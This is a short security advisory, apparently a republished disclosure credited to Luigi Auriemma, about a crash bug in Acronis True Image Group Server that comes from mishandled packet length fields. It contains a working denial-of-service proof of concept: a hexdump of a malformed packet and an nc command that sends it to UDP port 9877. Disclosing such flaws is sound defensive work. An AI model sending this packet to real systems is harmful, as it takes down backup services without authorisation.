|
|
| |
| Acronis Group Server is a component of Acronis True Image Echo Server (Workstation and Enterprise packages) which "allows the viewing and managing of backup tasks for all systems in the network from the Acronis Management Console". A vulnerability in the way the Acronis True Image Group Server handles network based data allows remote attackers to cause the product to crash. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/acrogroup-adv.txt
|
| |
Vulnerable Systems:
* Acronis True Image Group Server version 1.5.19.191
* Acronis True Image Enterprise Server version 9.5.0.8072
The packets used by this server contain some 16 bit fields which specify the length of the subsequent data. The problem is that the memory assigned for each packet is about 2048 bytes so the server allocates the amount of memory specified by that field and then tries to copy the data from the packet into this new buffer with the subsequent crash of the service due to the invalid read access.
Exploit:
The following hexdump will cause the server to crash:
0000000 ffff 0001 ffff ffff ffff ffff 0029 ffff
0000010 002a 0000 ffff ffff ffff ffff ffff ffff
0000020 ffff ffff ffff ffff ffff ffff ffff ffff
*
0000800
When sent with the following command:
nc SERVER 9877 -v -v -u -p 9876 < acrogroup.txt
|
|
|
|
|
